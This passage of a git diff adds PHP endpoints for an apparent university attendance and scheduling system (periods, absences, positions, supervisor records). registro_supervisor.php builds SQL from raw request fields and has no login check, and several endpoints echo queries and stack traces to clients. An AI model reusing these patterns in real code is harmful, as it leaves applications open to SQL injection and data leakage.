'error' => $e->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
]);
|
||||||
|
}
|
||||||
76
action/justificar.php
Normal file
76
action/justificar.php
Normal file
@@ -0,0 +1,76 @@
|
|||||||
|
<?php
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
if (!Login::is_logged()) {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(['error' => 'No se ha iniciado sesión']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
try {
|
||||||
|
switch ($_SERVER['REQUEST_METHOD']) {
|
||||||
|
case 'POST':
|
||||||
|
// check parameters
|
||||||
|
|
||||||
|
$raw = file_get_contents('php://input');
|
||||||
|
$post_data = json_decode($raw, true);
|
||||||
|
|
||||||
|
$data = $db->querySingle(
|
||||||
|
'WITH HORARIOS AS (
|
||||||
|
SELECT *
|
||||||
|
FROM horario
|
||||||
|
JOIN horario_profesor USING (horario_id)
|
||||||
|
WHERE horario.periodo_id = :periodo_id
|
||||||
|
)
|
||||||
|
INSERT INTO registro (profesor_id, horario_id, registro_fecha_ideal, registro_justificada, justificador_id, registro_fecha_justificacion, justificacion)
|
||||||
|
VALUES (:profesor_id, :horario_id, :registro_fecha_ideal, :registro_justificada, :justificador_id, NOW(), :justificacion)
|
||||||
|
ON CONFLICT (profesor_id, horario_id, registro_fecha_ideal)
|
||||||
|
DO UPDATE SET registro_justificada = :registro_justificada, justificador_id = :justificador_id, registro_fecha_justificacion = NOW(), justificacion = :justificacion
|
||||||
|
RETURNING *',
|
||||||
|
array(
|
||||||
|
'periodo_id' => $user->periodo_id,
|
||||||
|
'profesor_id' => $post_data['profesor_id'],
|
||||||
|
'horario_id' => $post_data['horario_id'],
|
||||||
|
'registro_fecha_ideal' => $post_data['registro_fecha_ideal'],
|
||||||
|
'registro_justificada' => $post_data['registro_justificada'],
|
||||||
|
'justificador_id' => $user->user['id'],
|
||||||
|
'justificacion' => empty($post_data['justificacion']) ? null : $post_data['justificacion'],
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
|
||||||
|
$data_justificador = $db->querySingle(
|
||||||
|
"SELECT justificador.usuario_nombre as justificador_nombre,
|
||||||
|
justificador.usuario_clave as justificador_clave,
|
||||||
|
facultad.facultad_nombre as justificador_facultad, rol.rol_titulo as justificador_rol
|
||||||
|
|
||||||
|
FROM USUARIO JUSTIFICADOR
|
||||||
|
JOIN ROL on ROL.rol_id = justificador.rol_id
|
||||||
|
LEFT JOIN facultad on facultad.facultad_id = justificador.facultad_id
|
||||||
|
where justificador.usuario_id = :justificador_id",
|
||||||
|
array(
|
||||||
|
'justificador_id' => $user->user['id'],
|
||||||
|
)
|
||||||
|
);
|
||||||
|
// exit('exit');
|
||||||
|
|
||||||
|
echo json_encode(array_merge($data, $data_justificador), JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
header('HTTP/1.1 405 Method Not Allowed');
|
||||||
|
echo json_encode(['error' => 'Método no permitido']);
|
||||||
|
}
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
]);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
]);
|
||||||
|
}
|
||||||
7
action/mail_javier.php
Normal file
7
action/mail_javier.php
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
require_once "../class/mailer.php";
|
||||||
|
require_once('../include/phpmailer/PHPMailerAutoload.php');
|
||||||
|
|
||||||
|
Mailer::enviarCorreo("javier.garrido@lasalle.mx", $asunto, $texto, true);
|
||||||
|
echo "Correo enviado";
|
||||||
31
action/nivel.php
Normal file
31
action/nivel.php
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
if (!Login::is_logged()) {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(['error' => 'No se ha iniciado sesión']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
try {
|
||||||
|
switch ($_SERVER['REQUEST_METHOD']) {
|
||||||
|
case 'GET':
|
||||||
|
// Fetch all puestos
|
||||||
|
$nivel = $db->get('nivel');
|
||||||
|
echo json_encode($nivel);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
header('HTTP/1.1 405 Method Not Allowed');
|
||||||
|
echo json_encode(['error' => 'Método no permitido']);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
]);
|
||||||
|
}
|
||||||
44
action/periodo_datos.php
Normal file
44
action/periodo_datos.php
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
<?
|
||||||
|
#input $_GET['id_espacio_sgu']
|
||||||
|
#output rutas: [ ...ruta, salones: [{...salon}] ]
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once $ruta . "class/c_login.php";
|
||||||
|
|
||||||
|
if (!isset($_SESSION['user'])) {
|
||||||
|
http_response_code(401);
|
||||||
|
die(json_encode(['error' => 'unauthorized']));
|
||||||
|
}
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
// check method
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
|
||||||
|
http_response_code(405);
|
||||||
|
die(json_encode(['error' => 'method not allowed']));
|
||||||
|
}
|
||||||
|
|
||||||
|
const JSON_OPTIONS = JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR;
|
||||||
|
try {
|
||||||
|
$data = $db->querySingle("SELECT *, LEAST(periodo_fecha_fin, CURRENT_DATE) as fecha_final FROM periodo WHERE periodo_id = ?", array($user->periodo_id));
|
||||||
|
$last_query = [
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
];
|
||||||
|
|
||||||
|
echo json_encode($data, JSON_OPTIONS);
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
], JSON_OPTIONS);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_OPTIONS);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
204
action/periodos.php
Normal file
204
action/periodos.php
Normal file
@@ -0,0 +1,204 @@
|
|||||||
|
<?php
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
if (!Login::is_logged()) {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(['error' => 'No se ha iniciado sesión']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
try {
|
||||||
|
switch ($_SERVER['REQUEST_METHOD']) {
|
||||||
|
case 'GET':
|
||||||
|
// Fetch all puestos
|
||||||
|
$periodo_id = $user->periodo_id;
|
||||||
|
if (is_null($user->facultad['facultad_id'])) {
|
||||||
|
$periodos = $db
|
||||||
|
//->where('CURRENT_DATE BETWEEN periodo_fecha_inicio AND periodo_fecha_fin')
|
||||||
|
->join('nivel', 'nivel.nivel_id = periodo.nivel_id')
|
||||||
|
->orderBy('periodo_id')
|
||||||
|
->get('periodo', null, 'periodo.*, nivel_nombre as nivel');
|
||||||
|
} else {
|
||||||
|
$periodos = $db->query(
|
||||||
|
"SELECT DISTINCT periodo.*, nivel_nombre as nivel FROM periodo
|
||||||
|
JOIN horario_view USING (periodo_id)
|
||||||
|
JOIN nivel ON nivel.nivel_id = periodo.nivel_id
|
||||||
|
WHERE /*CURRENT_DATE BETWEEN periodo.periodo_fecha_inicio AND periodo.periodo_fecha_fin
|
||||||
|
AND */facultad_id = :facultad_id
|
||||||
|
ORDER BY periodo_id
|
||||||
|
",
|
||||||
|
['facultad_id' => $user->facultad['facultad_id']]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
echo json_encode($periodos);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'PUT':
|
||||||
|
// Update nivel_id of a periodo
|
||||||
|
$raw = file_get_contents('php://input');
|
||||||
|
$data = json_decode($raw, true);
|
||||||
|
|
||||||
|
if (!isset($data['action'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Falta la acción a realizar']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
switch ($data['action']) {
|
||||||
|
case 'changeNivel':
|
||||||
|
if (!isset($data['periodo_id'], $data['nivel_id'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Falta el id del periodo o el nivel']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$periodo_id = $data['periodo_id'];
|
||||||
|
$nivel_id = $data['nivel_id'];
|
||||||
|
$db->where('periodo_id', $periodo_id)->update('periodo', ['nivel_id' => $nivel_id]);
|
||||||
|
|
||||||
|
$periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre'];
|
||||||
|
$nivel_nombre = $db->where('nivel_id', $nivel_id)->getOne('nivel', 'nivel_nombre')['nivel_nombre'];
|
||||||
|
|
||||||
|
echo json_encode([
|
||||||
|
'success' =>
|
||||||
|
"El nivel del periodo $periodo_nombre ha sido cambiado a $nivel_nombre"
|
||||||
|
]);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'changeFechaInicio':
|
||||||
|
if (!isset($data['periodo_id'], $data['periodo_fecha_inicio'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Falta el id del periodo o la fecha de inicio']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$periodo_id = $data['periodo_id'];
|
||||||
|
$periodo_fecha_inicio = $data['periodo_fecha_inicio'];
|
||||||
|
$db->where('periodo_id', $periodo_id)->update('periodo', ['periodo_fecha_inicio' => $periodo_fecha_inicio]);
|
||||||
|
|
||||||
|
$periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre'];
|
||||||
|
|
||||||
|
echo json_encode([
|
||||||
|
'success' =>
|
||||||
|
"La fecha de inicio del periodo $periodo_nombre ha sido cambiada a $periodo_fecha_inicio"
|
||||||
|
]);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'changeFechaFin':
|
||||||
|
if (!isset($data['periodo_id'], $data['periodo_fecha_fin'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Falta el id del periodo o la fecha de fin']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$periodo_id = $data['periodo_id'];
|
||||||
|
$periodo_fecha_fin = $data['periodo_fecha_fin'];
|
||||||
|
$db->where('periodo_id', $periodo_id)->update('periodo', ['periodo_fecha_fin' => $periodo_fecha_fin]);
|
||||||
|
|
||||||
|
$periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre'];
|
||||||
|
|
||||||
|
echo json_encode([
|
||||||
|
'success' =>
|
||||||
|
"La fecha de fin del periodo $periodo_nombre ha sido cambiada a $periodo_fecha_fin"
|
||||||
|
]);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'updatePeriodo':
|
||||||
|
if (!isset($data['periodo_id'], $data['periodo_nombre'], $data['id_periodo_sgu'], $data['periodo_clave'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Faltan datos para actualizar el periodo']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$periodo_id = $data['periodo_id'];
|
||||||
|
|
||||||
|
$db->where('periodo_id', $periodo_id)->update('periodo', array_filter($data, fn($key) => in_array($key, [
|
||||||
|
'periodo_nombre',
|
||||||
|
'id_periodo_sgu',
|
||||||
|
'periodo_clave',
|
||||||
|
]), ARRAY_FILTER_USE_KEY));
|
||||||
|
|
||||||
|
$periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre'];
|
||||||
|
|
||||||
|
echo json_encode([
|
||||||
|
'success' =>
|
||||||
|
"El periodo $periodo_nombre ha sido actualizado"
|
||||||
|
]);
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Acción no válida']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
case 'POST':
|
||||||
|
$raw = file_get_contents('php://input');
|
||||||
|
$data = json_decode($raw, true);
|
||||||
|
|
||||||
|
if (!isset($data['periodo_nombre'], $data['nivel_id'], $data['periodo_fecha_inicio'], $data['periodo_fecha_fin'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Faltan datos para crear el periodo']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$newPeriodo = $db->insert(
|
||||||
|
'periodo',
|
||||||
|
array_filter($data, fn($key) => in_array($key, [
|
||||||
|
'periodo_nombre',
|
||||||
|
'nivel_id',
|
||||||
|
'periodo_fecha_inicio',
|
||||||
|
'periodo_fecha_fin',
|
||||||
|
'periodo_clave',
|
||||||
|
'id_periodo_sgu',
|
||||||
|
]), ARRAY_FILTER_USE_KEY)
|
||||||
|
);
|
||||||
|
|
||||||
|
echo json_encode([
|
||||||
|
'success' => true,
|
||||||
|
'message' => 'El periodo ha sido creado',
|
||||||
|
'periodo' => $newPeriodo
|
||||||
|
]);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'DELETE':
|
||||||
|
// Delete a periodo
|
||||||
|
$raw = file_get_contents('php://input');
|
||||||
|
$data = json_decode($raw, true);
|
||||||
|
|
||||||
|
if (!isset($data['periodo_id'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Falta el id del periodo']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$periodo_id = $data['periodo_id'];
|
||||||
|
$periodo_nombre = $db->where('periodo_id', $periodo_id)->getOne('periodo', 'periodo_nombre')['periodo_nombre'];
|
||||||
|
|
||||||
|
$db->where('periodo_id', $periodo_id)->delete('periodo');
|
||||||
|
|
||||||
|
echo json_encode([
|
||||||
|
'success' => true,
|
||||||
|
'message' => "El periodo $periodo_nombre ha sido eliminado"
|
||||||
|
]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
header('HTTP/1.1 405 Method Not Allowed');
|
||||||
|
echo json_encode(['error' => 'Método no permitido']);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
]);
|
||||||
|
} catch (Exception $e) {
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
]);
|
||||||
|
}
|
||||||
135
action/profesor_faltas.php
Normal file
135
action/profesor_faltas.php
Normal file
@@ -0,0 +1,135 @@
|
|||||||
|
<?
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
if (!Login::is_logged()) {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(['error' => 'No se ha iniciado sesión']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
try {
|
||||||
|
switch ($_SERVER['REQUEST_METHOD']) {
|
||||||
|
case 'GET':
|
||||||
|
$facultad = $_GET['facultad'] ?? $user->facultad['facultad_id'] ?? null;
|
||||||
|
$porcentaje = $_GET['porcentaje'] ?? null;
|
||||||
|
$faltas = $_GET['faltas'] ?? null;
|
||||||
|
|
||||||
|
if (!isset($facultad) || !is_numeric($facultad)) {
|
||||||
|
$error = 'No se ha seleccionado una facultad';
|
||||||
|
} else if ((!isset($faltas) || !is_numeric($faltas)) && (!isset($porcentaje) || !is_numeric($porcentaje))) {
|
||||||
|
$error = 'Debe especificar las faltas o el porcentaje';
|
||||||
|
} else if (isset($faltas) && (!is_numeric($faltas) || $faltas <= 0)) {
|
||||||
|
$error = 'Las faltas deben ser un número mayor a 0';
|
||||||
|
} else if (isset($porcentaje) && (!is_numeric($porcentaje) || $porcentaje <= 0)) {
|
||||||
|
$error = 'El porcentaje debe ser un número mayor a 0';
|
||||||
|
} else if (isset($faltas) && isset($porcentaje)) {
|
||||||
|
$error = 'No se puede especificar las faltas y el porcentaje al mismo tiempo';
|
||||||
|
} else if (!isset($facultad) || !is_numeric($facultad)) {
|
||||||
|
$error = 'Debe especificar una facultad';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isset($error)) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => $error]);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
// Initialize the data array
|
||||||
|
$data = array();
|
||||||
|
|
||||||
|
// Check if 'profesor' or 'supervisor' is set and prepare the specific part of the SQL query accordingly.
|
||||||
|
if (isset($_GET['profesor']) || isset($_GET['supervisor'])) {
|
||||||
|
|
||||||
|
$condition = isset($_GET['profesor'])
|
||||||
|
? "r.registro_fecha IS NULL AND NOT COALESCE(r.registro_justificada, FALSE)"
|
||||||
|
: "estado_supervisor_id = 2";
|
||||||
|
|
||||||
|
$filter = isset($faltas)
|
||||||
|
? "afcp.faltas >= :faltas"
|
||||||
|
: "afcp.porcentaje >= :porcentaje";
|
||||||
|
|
||||||
|
// Prepare the SQL query with placeholders for parameters
|
||||||
|
$data = array_column($db->query(
|
||||||
|
"WITH fechas AS (
|
||||||
|
SELECT
|
||||||
|
h.horario_id,
|
||||||
|
fechas_clase(h.horario_id, true) AS registro_fecha_ideal,
|
||||||
|
hp.profesor_id
|
||||||
|
FROM horario h
|
||||||
|
JOIN horario_profesor hp USING (horario_id)
|
||||||
|
WHERE (h.PERIODO_ID, h.FACULTAD_ID) = (:periodo_id, :facultad_id) AND hp.profesor_id <> 0
|
||||||
|
),
|
||||||
|
asistencia_faltas AS (
|
||||||
|
SELECT
|
||||||
|
f.profesor_id,
|
||||||
|
COUNT(1) AS total,
|
||||||
|
COUNT(1) FILTER (WHERE $condition AND f.registro_fecha_ideal <= current_date) AS faltas
|
||||||
|
FROM fechas f
|
||||||
|
LEFT JOIN registro r USING (registro_fecha_ideal, horario_id, profesor_id)
|
||||||
|
GROUP BY f.profesor_id
|
||||||
|
),
|
||||||
|
asistencia_faltas_con_porcentaje AS (
|
||||||
|
SELECT
|
||||||
|
af.profesor_id,
|
||||||
|
af.faltas,
|
||||||
|
af.total,
|
||||||
|
CASE
|
||||||
|
WHEN af.total > 0 THEN ROUND((af.faltas::NUMERIC / af.total) * 100, 2)
|
||||||
|
ELSE NULL
|
||||||
|
END AS porcentaje
|
||||||
|
FROM asistencia_faltas af
|
||||||
|
WHERE af.faltas > 0
|
||||||
|
)
|
||||||
|
SELECT
|
||||||
|
json_build_object(
|
||||||
|
'profesor', json_build_object(
|
||||||
|
'profesor_nombre', p.profesor_nombre,
|
||||||
|
'profesor_clave', p.profesor_clave,
|
||||||
|
'profesor_correo', p.profesor_correo
|
||||||
|
),
|
||||||
|
'profesor_id', afcp.profesor_id,
|
||||||
|
'faltas', afcp.faltas,
|
||||||
|
'total', afcp.total,
|
||||||
|
'porcentaje', afcp.porcentaje
|
||||||
|
) AS result_json
|
||||||
|
FROM asistencia_faltas_con_porcentaje afcp
|
||||||
|
JOIN profesor p USING (profesor_id)
|
||||||
|
WHERE $filter
|
||||||
|
ORDER BY afcp.porcentaje DESC;
|
||||||
|
",
|
||||||
|
[
|
||||||
|
'periodo_id' => $user->periodo_id,
|
||||||
|
'facultad_id' => $facultad,
|
||||||
|
] + (isset($faltas)
|
||||||
|
? ['faltas' => $faltas]
|
||||||
|
: ['porcentaje' => $porcentaje])
|
||||||
|
), 'result_json');
|
||||||
|
} else {
|
||||||
|
// Send a 400 Bad Request header and an error message in JSON format
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Especifique si las faltas son de profesor o supervisor']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
if (empty($data)) {
|
||||||
|
header('HTTP/1.1 404 Not Found');
|
||||||
|
echo json_encode(['error' => 'No se encontraron faltas']);
|
||||||
|
} else {
|
||||||
|
echo json_encode(
|
||||||
|
array_map(fn($item) => json_decode($item), $data)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
header('HTTP/1.1 405 Method Not Allowed');
|
||||||
|
echo json_encode(['error' => 'Método no permitido']);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
113
action/puesto.php
Normal file
113
action/puesto.php
Normal file
@@ -0,0 +1,113 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
if (!Login::is_logged()) {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(['error' => 'No se ha iniciado sesión']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
try {
|
||||||
|
switch ($_SERVER['REQUEST_METHOD']) {
|
||||||
|
case 'GET':
|
||||||
|
// Fetch all puestos
|
||||||
|
$facultad_id = $user->facultad['facultad_id'] ?? -1;
|
||||||
|
$puestos = array_map(
|
||||||
|
fn($p) => array(
|
||||||
|
...$p,
|
||||||
|
'materias' => $db->where('puesto_id', $p['puesto_id'])
|
||||||
|
->join('puesto_materia', 'puesto_materia.materia_id = materia.materia_id', 'LEFT')
|
||||||
|
->get(tableName: 'materia', columns: ['materia.materia_id', 'materia_nombre', 'clave_materia',]),
|
||||||
|
'encargado' => $db->where('puesto_id', $p['puesto_id'])
|
||||||
|
->join('puesto_usuario', 'puesto_usuario.usuario_id = usuario.usuario_id', 'LEFT')
|
||||||
|
->getOne('usuario', ['usuario.usuario_id', 'usuario_nombre', 'usuario_clave']),
|
||||||
|
),
|
||||||
|
$db->orderBy('puesto.nombre', 'desc')
|
||||||
|
->where('facultad_id', $facultad_id)
|
||||||
|
->get(tableName: 'puesto', columns: 'puesto_id, nombre'),
|
||||||
|
);
|
||||||
|
echo json_encode($puestos);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'POST':
|
||||||
|
$raw_input = file_get_contents('php://input');
|
||||||
|
$input_data = json_decode($raw_input, true);
|
||||||
|
|
||||||
|
if (!$input_data || !isset($input_data['puesto_nombre'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Datos inválidos']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$puesto = $db->insert('puesto', [
|
||||||
|
'nombre' => $input_data['puesto_nombre'],
|
||||||
|
'facultad_id' => $user->facultad['facultad_id'],
|
||||||
|
], ['puesto_id', 'nombre', 'facultad_id']);
|
||||||
|
|
||||||
|
echo json_encode(
|
||||||
|
array(
|
||||||
|
...$puesto,
|
||||||
|
'materias' => [],
|
||||||
|
'encargado' => null,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'PUT':
|
||||||
|
$raw_input = file_get_contents('php://input');
|
||||||
|
$input_data = json_decode($raw_input, true);
|
||||||
|
|
||||||
|
if (!$input_data || !isset($input_data['puesto_id'], $input_data['materias'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Datos inválidos']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$db->where('puesto_id', $input_data['puesto_id'])->delete('puesto_materia');
|
||||||
|
$db->where('puesto_id', $input_data['puesto_id'])->delete('puesto_usuario');
|
||||||
|
|
||||||
|
foreach ($input_data['materias'] as $materia_id) {
|
||||||
|
$db->insert('puesto_materia', [
|
||||||
|
'puesto_id' => $input_data['puesto_id'],
|
||||||
|
'materia_id' => $materia_id,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isset($input_data['usuario_id']))
|
||||||
|
$db->insert('puesto_usuario', [
|
||||||
|
'puesto_id' => $input_data['puesto_id'],
|
||||||
|
'usuario_id' => $input_data['usuario_id'],
|
||||||
|
]);
|
||||||
|
|
||||||
|
echo json_encode(['msg' => 'Puesto actualizado exitosamente']);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'DELETE':
|
||||||
|
$raw_input = file_get_contents('php://input');
|
||||||
|
$input_data = json_decode($raw_input, true);
|
||||||
|
|
||||||
|
if (!$input_data || !isset($input_data['puesto_id'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Datos inválidos']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$db->where('puesto_id', $input_data['puesto_id'])->delete('puesto');
|
||||||
|
echo json_encode(['msg' => 'Puesto eliminado exitosamente']);
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
header('HTTP/1.1 405 Method Not Allowed');
|
||||||
|
echo json_encode(['error' => 'Método no permitido']);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
]);
|
||||||
|
}
|
||||||
60
action/registro_supervisor.php
Normal file
60
action/registro_supervisor.php
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
<?
|
||||||
|
#input $_GET['id_espacio_sgu']
|
||||||
|
define("INFORMATION", [
|
||||||
|
'POST' => [
|
||||||
|
'profesor_id',
|
||||||
|
'horario_id',
|
||||||
|
'estado',
|
||||||
|
'comentario',
|
||||||
|
'supervisor_id',
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
#output rutas: [ ...ruta, salones: [{...salon}] ]
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
#return html
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
// check method
|
||||||
|
try {
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||||
|
// check parameters
|
||||||
|
$raw = file_get_contents('php://input');
|
||||||
|
$post_data = json_decode($raw, true);
|
||||||
|
// if it's a list
|
||||||
|
// step 1: get subrutas
|
||||||
|
if (empty($post_data)) {
|
||||||
|
http_response_code(400);
|
||||||
|
echo json_encode(['error' => 'No hay clases pendientes']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
$data = $db->query(
|
||||||
|
'INSERT INTO registro (profesor_id, horario_id, registro_fecha_supervisor, estado_supervisor_id, registro_fecha_ideal, supervisor_id, comentario)
|
||||||
|
VALUES' .
|
||||||
|
implode(',', array_map(fn($x) => "({$x['profesor_id']} , {$x['horario_id']}, NOW()," . (is_null($x['estado']) ? 'null' : $x['estado']) . ", NOW(), {$x['supervisor_id']}," . (empty($x['comentario']) ? 'null' : "'{$x['comentario']}'") . ')', $post_data))
|
||||||
|
. ' ON CONFLICT (profesor_id, horario_id, registro_fecha_ideal) DO UPDATE SET estado_supervisor_id = EXCLUDED.estado_supervisor_id, registro_fecha_supervisor = NOW(), comentario = EXCLUDED.comentario, supervisor_id = EXCLUDED.supervisor_id
|
||||||
|
RETURNING *'
|
||||||
|
);
|
||||||
|
echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
http_response_code(405);
|
||||||
|
echo json_encode(['error' => 'method not allowed']);
|
||||||
|
exit;
|
||||||
|
|
||||||
|
}
|
||||||
